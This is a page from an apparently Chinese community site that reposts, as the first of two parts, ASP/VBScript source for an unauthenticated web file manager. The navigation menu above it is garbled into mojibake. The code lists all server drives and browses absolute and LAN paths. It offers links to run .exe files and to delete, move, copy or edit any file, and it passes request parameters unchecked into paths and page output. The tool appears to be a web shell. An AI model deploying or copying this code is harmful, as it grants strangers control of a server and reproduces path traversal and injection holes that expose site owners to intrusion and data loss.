专题栏目
  • 濠电姷鏁告慨鐑藉极閸涘﹥鍙忛柣鎴f閺嬩線鏌熼梻瀵割槮缁炬儳顭烽弻锝夊箛椤掍焦鍎撻梺鎼炲妼閸婂潡骞冪憴鍕闁瑰嘲鐭堥崝鍛攽閻愭彃鎮戦柣妤佺矌濡叉劙骞樼€涙ê顎撻梺鍏肩ゴ閸撴繈宕归崹顔炬殾闁挎繂鐗忛悿鈧┑鐐村灦閻熝囧储闁秵鈷戦柛锔诲幖娴滅偓銇勯妸銉﹀櫧闁逞屽墯閸戝綊宕滃璺虹畾闁哄啠鍋撶紒缁樼箞瀹曞爼濡歌楠炲秹姊绘担鍛靛湱鎹㈠Δ鍛;闁圭増婢樺Ч鍙夋叏濡炶浜鹃梺鍝勬湰閻╊垰顕i鍕敜婵°倕艌閸嬫挸螖閸涱喚鍘介梺鎸庣箓閹虫劖绂掑☉姘辩<婵°倕鍟弸娑㈡煕閳规儳浜炬俊鐐€栫敮鎺斺偓姘煎墰缁寮介妸銈囩畾闂侀潧鐗嗛幊蹇涘闯瑜版帗鐓欑痪顓炴噹閻撴劙鏌曢崶褍顏鐐瘁缚閹瑰嫰宕崟顐闂傚倷绶氶埀顒傚仜閼活垱鏅堕鈧弻锝夘敇閻愭祴鍋撻崹顕呭殨閻犲洦绁村Σ鍫ユ煏韫囧ň鍋撻弬銉ヤ壕闁绘垼濮ら悡鐘电棯閺夊灝鑸瑰褎婢樿灃闁哄啫鐗婇埛鎺懨归敐鍥╂憘闁搞倕鍟撮弻娑㈡偐瀹曞洤鈷堢紓浣戒含閸嬬偟鎹㈠┑瀣<婵犲﹤瀚鏇㈡⒒娴gǹ顥忛柛瀣噹鐓ゆ慨妞诲亾闁诡噯绻濇俊鐑藉煛閸屾埃鍋撻悽鍛婄叆婵犻潧妫涢崙褰掓煙閸欏鍔ら棁澶岀棯椤撱垺鏁遍悗姘炬嫹
  • 闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾剧懓顪冪€n亝鎹i柣顓炴閵嗘帒顫濋敐鍛婵°倗濮烽崑娑⑺囬悽绋挎瀬闁瑰墽绮崑鎰版煕濞嗗繐浜扮紒鐘虫崌瀵鏁愭径濠勭杸濡炪倖妫佹慨銈呅掗崟顖涒拺婵炶尪顕ч獮鏍ㄤ繆椤愶綆娈滃┑鈩冩尦楠炴帡骞嬮鐔峰厞闂備焦瀵х换鍌炲箠瀹ュ棛鐝堕柡鍥ュ灪閻撶喖骞栧ǎ顒€鈧倕岣块幇顓犵婵炴潙顑嗗▍鍥╃磼鏉堚晛浠︾紒妤冨枛閸┾偓妞ゆ帒瀚崑妯汇亜閺冨倵鎷℃繛绗哄姂閺屽秷顧侀柛鎾寸懇椤㈡岸鏁愭径濠囧敹闂佸搫娲ㄩ崑鐔碱敇濞差亝鈷戠紓浣骨樼紓姘舵煛娴e懙褰掓偩閸偆鐟归柍褜鍓欓~蹇撁洪鍛闂侀潧鐗嗛幊蹇涙倵閸撗呯=濞撴艾娲ら弸娑㈡煟椤掑啫浜归柛鎺撳浮瀵噣宕煎┑鍫Ф濠电偠鎻紞鈧繛鍜冪秮閺佸秴鈹戠€n偀鎷洪柣鐔哥懃鐎氼剛绮堥崘鈹夸簻闁哄洤妫楅幊鎰▔瀹ュ棙鍙忔俊顖氭健閸濇椽鏌涢悩鍐插缂佺粯绻冪换婵嬪磼濠婂喚鏆梻浣告啞娣囨椽锝炴径瀣攳濠电姴娲ゅ洿闂佸憡渚楅崰鏍р枍閵堝鈷戠紓浣股戠亸顏堟煕鎼达絾鏆€殿喖顭烽弫鎰緞婵犲倸绁梻浣虹帛閸旀牜绮婇幘顔肩;闁规崘顕ч幑鑸点亜閹惧鈽夊ù婊呭亾閹便劌螣閻撳簼澹曢柣搴㈢啲閹凤拷
  • 缂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾惧綊鏌熼梻瀵割槮缁惧墽鎳撻—鍐偓锝庝簼閹癸綁鏌i鐐搭棞闁靛棙甯掗~婵嬫晲閸涱剙顥氶梻浣藉Г钃辩紒璇插€垮﹢渚€姊虹粙璺ㄧ闁告艾顑囩槐鐐哄箣閿旂晫鍘遍梺闈浨归崕閬嶅焵椤掆偓濞尖€愁嚕婵犳碍鏅插璺衡看濞煎﹪姊虹紒妯忣亜螣婵犲伣娑樼暆閸曨兘鎷洪柡澶屽仦婢瑰棝藝閿旀垝绻嗘い鎰剁悼缁犵偟鈧鍠栭…鐑藉极閹邦厼绶炲┑鐘插濞煎姊绘担鍛靛綊寮甸鍕殞闁绘劦鍓涢々閿嬫叏濡炶浜惧┑顔硷工閹碱偆鍙呴柣鐘叉处瑜板啰绮婚崫鍕垫富闁靛牆鍟俊濂告煥閺囥劋绨绘い鏇稻缁绘繂顫濋鐐扮盎闂佽崵鍋炵粙鍫ュ焵椤掆偓閸樻牗绔熼弴鐐╂斀闁绘劖娼欓悘锕傛煟閻曞倻纾跨紒杈ㄦ尭椤繃娼忛埡鍐跨床闂備胶绮摫闁搞劍宀搁獮瀣偐閸愭彃绨ユ繝鐢靛仦閸垶宕归崷顓犵焼闁稿瞼鍋為悡鏇㈢叓閸ャ劍纾甸柟灏佸墲娣囧﹪顢曢姀鐘虫濠殿喖锕ㄥ▍锝夊箯閻樿鐏抽柧蹇e亞娴滎亪姊绘担瑙勫仩闁搞劍妞介幃锟犳晸閻樺弶妲梺闈涚箚閸撴繈宕曢悢鍏肩厪闁割偅绻冨婵嬫煛婢跺鍊愭慨濠冩そ瀹曠兘顢橀埄鍐锯偓妤呮⒑閹肩偛濡垮褎顨堢划瀣吋閸℃劕浜濋梺鍛婂姀閺呮繈宕㈤崡鐐╂斀闁绘ḿ绮☉褔鎮楀鐓庡⒋鐎规洘绻堟俊鍫曞炊閳哄喛绱查梻浣筋潐瑜板啴顢栭崶顒佸仼闁汇垹鎲¢悡娑氣偓鍏夊亾闁逞屽墴瀹曚即寮介婧惧亾娴g硶妲堥柕蹇曞Т閼板灝鈹戞幊閸婃洜鈧凹鍓熼、鏃堫敇閻愨晜鏂€闂佺粯鍔樼亸娆愭櫠闁秵鐓曢悗锝庝悍瀹搞儲銇勯銏㈢闁圭厧婀遍幉鎾礋椤愩倧绱¢梻鍌欑窔濞佳勭仚闂佺ǹ瀛╅悡锟犲箖閻㈢ǹ顫呴柕鍫濇閹锋椽姊洪懡銈呮瀾婵犮垺锚閳绘捇鍩¢崨顔惧幍闂佸憡鍨崐鏍偓姘炬嫹
  • 闂傚倸鍊搁崐鎼佸磹閹间礁纾圭€瑰嫭鍣磋ぐ鎺戠倞鐟滃繘寮抽敃鍌涚厽闁靛繆鎳氶崷顓犵幓婵°倕鎳忛悡娆撴煙濞堝灝鏋涙い锝呫偢閺屾稓鈧絽澧庣弧鈧悗娈垮枛閻栫厧鐣烽悡搴僵妞ゆ挾鍠撹ぐ鍛磽閸屾瑦绁扮紓鍫滃嵆瀹曟劙寮撮敍鍕胺闂傚倷鐒︾€笛呮崲閸岀偛绠犻幖娣妼濮瑰弶绻涢崱妯哄缂佽妫欓妵鍕箛閹増濮夊銈呯箰閻楀棜绻氶梻浣告贡閸庛倝宕洪崼婵佺細闁冲搫鎳忛悡銉︾節闂堟稒顥為柛锝嚽归…璺ㄦ喆閸曨剛顦ㄦ繛锝呮搐閿曨亝淇婇崼鏇炵倞妞ゎ剦鍠撻崕鐢稿蓟濞戞埃鍋撻敐搴′簻濠殿喖绉堕埀顒冾潐濞叉﹢宕归崸妤冨祦婵せ鍋撶€殿噮鍓熸俊鐑芥晜閼恒儲绶梻鍌氬€烽懗鍓佸垝椤栨氨骞撻悹鎭掑妼閸ㄦ繃銇勯弽銊ョ劰婵℃彃鐗忛幉鍛婃償閿濆棗搴婂┑鐐村灦閻喖鈻介鍫熺厱閻忕偞鍎抽悞褰掓煕鐎n偅灏柍瑙勫灴瀹曞崬鈻庨幇顓у晭闂傚倷绶氬ḿ褏鎹㈤崼銉ョ9闁哄洨濮锋稉宥夋煣韫囷絽浜楃紒璇叉閺屾洟宕煎┑鍥ф闂佸搫妫欓悷褔骞夐幖浣哥骇闁割煈鍣导鍐ㄢ攽椤旂》鏀绘俊鐐扮矙閻涱噣寮介鐔封偓鐑芥煙缂佹ê绗掗摶姘舵⒒閸屾瑧顦﹂柟璇х節瀹曟繆绠涘☉妯兼煣濠电姴锕ら悧婊堝极婵犲洦鐓曢柡鍥ュ妼楠炴ḿ鐥崣銉х煓闁哄本绋撴禒锕傚礈瑜庨崳顓犵磽娴g柉鍏屽褎顨婃俊鐢稿礋椤栨氨鐫勯梺閫炲苯澧寸€规洘绻傞埢搴ㄥ箻鐠鸿櫣銈﹂梻濠庡亜濞诧妇绮欓幒妤€鐤鹃柟闂寸劍閻撱儵鏌i弴鐐测偓鍦偓姘炬嫹
  • 闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾剧懓顪冪€n亝鎹i柣顓炴閵嗘帒顫濋敐鍛婵°倗濮烽崑娑⑺囬悽绋挎瀬闁瑰墽绮崑鎰版煕濞嗗繐浜扮紒鐘虫崌瀵鏁愭径濠勭杸濡炪倖甯婄拋鏌ュ几濞嗗繆鏀介柣鎰摠鐏忣厽銇勯鐘插幋鐎殿喖顭烽幃銏ゅ礂閻撳簶鍋撶紒妯圭箚妞ゆ牗绮岄崝锕傛煙瀹勯偊鐓兼慨濠冩そ瀹曘劍绻濇惔銏㈡殾闁诲骸鍘滈崑鎾剁磼鐎n偒鍎ユ繛鍏肩墬缁绘稑顔忛鑽ょ泿闂佹悶鍔岄崐褰掑Φ閸曨垰鍗抽柣鎰綑濞咃綁姊洪崨濠冨鞍濠㈢懓妫涘Σ鎰板箻鐎涙ê顎撶紓浣割儐椤戞瑩寮抽姀銈嗏拺缂佸顑欓崕鎴︽煕閻樺磭澧甸柣娑卞枟瀵板嫬鐣濋埀顒勬儗濞嗘劗绠鹃柛鈩兠崝銈夋煙椤旇棄鐏存慨濠冩そ楠炴牠鎮欓幓鎺戭潕闂備礁鎼幊蹇曟崲閸愵煈鍤楅柛鏇ㄥ灠缁€瀣亜閺嶃劎鈻撻柟閿嬫そ閺岋綁鎮╅崣澶岊槺闂侀€炲苯澧痪缁㈠弮閸┾偓妞ゆ巻鍋撴い顓犲厴楠炲啫顫滈埀顒勫箖濞嗘垶宕夐柣鈺傚笚閹稿濡甸崟顖氭闁割煈鍠掗崑鎾诲捶椤撶喎搴婂┑鐘绘涧閻楀棝寮搁崼婵愮唵閻犻缚娅i悘閬嶆煥濞戞艾鏋涙慨濠呮缁瑥鈻庨幆褍澹夌紓鍌欑椤戝棛鏁垾鎰佸殨闁哄被鍎遍柋鍥煛閸モ晛鏋庡ù鐘层偢閹宕楁径濠佸闂備線鈧偛鑻晶鎾煙椤栨氨鐒告鐐瘁缚缁辨帒螣閻撳骸绠洪梻鍌欐祰椤宕曞畷鍥ь棜妞ゆ挶鍨洪崕濠勨偓骞垮劚椤︿即鎮¢弴銏$叆闁哄啫娴傞崵娆愵殽閻愭惌娈滈柡灞剧缁犳盯寮崒婊呭帨婵犳鍠栭敃銉ヮ渻閽樺鏆︾憸鐗堝俯閺佸鏌涘☉鍗炲箹濠㈢懓鐗婃穱濠囨倷椤忓嫧鍋撻弴鐕佹闊洦绋戠粻顖炴煥閻曞倹瀚�
  • 您现在的位置: 军旅同心 >> 读书赏析 >> 学习园地 >> 电脑网络 >> 技术文章 >> 文章正文
    文件的读出 编辑 管理
    作者:采集员 文章来源:来源于网络 点击数:780 更新时间:2005-9-10 14:00:29
    <%
    urlpath="http://"&Request.ServerVariables("SERVER_NAME")
    dim cpath,lpath
    set fsoBrowse=CreateObject("Scripting.FileSystemObject")
    if Request("path")="" then
    lpath="/"
    else
    lpath=Request("path")&"/"
    end if
    if Request("attrib")="true" then
    cpath=lpath
    attrib="true"
    else
    cpath=Server.MapPath(lpath)
    attrib=""
    end if
    Sub GetFolder()
    dim theFolder,theSubFolders
    if fsoBrowse.FolderExists(cpath)then
    Set theFolder=fsoBrowse.GetFolder(cpath)
    Set theSubFolders=theFolder.SubFolders
    Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>"
    Response.write"<table border='0' width='100%' cellpadding='0'>"
    For Each x In theSubFolders
    Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font>  "&x.Name&"</a> </td>"
    Response.Write "<td><a href=# onclick=javascript:window.open('delete.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a></td>"
    Response.Write "<td><a href=# onclick=javascript:window.open('move.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>移改</a></td>"
    Response.Write "<td><a href=# onclick=javascript:window.open('copy.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>复制</a><br></td></tr>"
    Next
    Response.Write "</table>"
    end if
    End Sub

    Sub GetFile()
    dim theFiles
    if fsoBrowse.FolderExists(cpath)then
    Set theFolder=fsoBrowse.GetFolder(cpath)
    Set theFiles=theFolder.Files
    Response.write"<table border='0' width='100%' cellpadding='0'>"
    For Each x In theFiles
    if Request("attrib")="true" then
    showstring="<strong>"&x.Name&"</strong>"
    else
    showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><strong>"&x.Name&"</strong></a>"
    end if
    if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
    showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:window.open('fileop.asp?filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>执行</font></a></td>"
    else
    showstring=showstring&"</td><td width='10%'></td>"
    end if
    Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字节</td><td width='45%'><a href='#' title='"&"类型:"&x.type&chr(10)&"属性:"&x.Attributes&chr(10)&"时间:"&x.DateLastModified&"'><font color='#FF8000' >?</font>属性</a><a href=# onclick=javascript:window.open('view.asp?path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>查看</a><a href=# onclick=javascript:window.open('edit.asp?path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >∝</font>编辑</a><a href=# onclick=javascript:window.open('edit.asp?path="&server.urlencode(lpath)&server.urlencode(x.Name)&"&op=del&attrib="&attrib&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color='#FF8000' >×</font>删除</a><a href=# onclick=javascript:window.open('copy.asp?sPath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font  color='#FF8000' >+</font>复制</a><a href=# onclick=javascript:window.open('move.asp?sPath="&server.urlencode(lpath)&server.urlencode(x.Name)&"&aim=files"&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font  color='#FF8000' >+</font>移动</a></td></tr>"
    Next
    end if
    Response.write"</table>"
    End Sub
    %>
    <html>

    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title></title>
    <meta name="GENERATOR" content="Microsoft FrontPage 3.0">
    <style>
    <!--
    table{ font-family: 宋体; font-size: 9pt }
    a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
    a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
    a:visited{ color: rgb(128,0,0) }
    -->
    </style>
    </head>
    <script language="JavaScript">
    function crfile(ls)
    {if (ls==""){alert("请输入文件名!");}
    else {window.open('edit.asp?attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
    return false;
    }
    function crdir(ls)
    {if (ls==""){alert("请输入文件名!");}
    else {window.open('edir.asp?attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
    return false;
    }
    </script>
    <script language="vbscript">
    sub rmdir(ls)
    if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls)   then
    window.open("edir.asp?path="&ls&"&op=del&attrib=<%=request("attrib")%>")
    end if
    end sub
    sub copyfile(sfile)
    dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]")
    dfile=trim(dfile)
    attrib="<%=request("attrib")%>"
    if dfile<>"" then
    if InStr(dfile,":") or InStr(dfile,"/")=1 then
    lp=""
    if InStr(dfile,":") and attrib<>"true" then
    alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"
    exit sub
    end if
    else
    lp="<%=lpath%>"
    end if
    window.open("edit.asp?path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)
    else
    alert"您没有输入文件名!"
    end If
    end sub
    </script>
    <body>
    <table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
    bordercolordark="#FFFFFF" cellspacing="0">

      <tr>
        <td width="100%" bgcolor="#C0C0C0" colspan="2">※切换到相应盘符:<span
        style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
    For Each thing in fsoBrowse.Drives
    Response.write "◎<a href='list.asp?path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"
    NEXT
    %> </span><br>
        [如果该盘在服务器上不存在,那么将不显示东西,你也可以更URL上的PATH值换换到其它路径上,支持局域网地址,如:&quot;\pc01c&quot;]</td>
      </tr>
      <tr>
        <td width="100%" bgcolor="#C0C0C0" colspan="2">※<%
    if Request("attrib")="true"  then
    response.write "<a href='list.asp'>切换到相对路径编辑模式</a>"
    else
    response.write "<a href='list.asp?attrib=true'>切换到绝对路径编辑模式</a>"
    end if
    %>&nbsp; ※绝对路径:<span
        style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
      </tr>
      <tr>
    <td width="

    [1] [2] 下一页


     
    免责声明:作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述,仅为提供更多信息。如果您认为我们侵犯了您的版权,请告知!本站立即删除。有异议请联系我们。
    文章录入:烟灰缸    责任编辑:烟灰缸 
    高级搜索
       
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
        没有任何评论
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 | 管理登录 |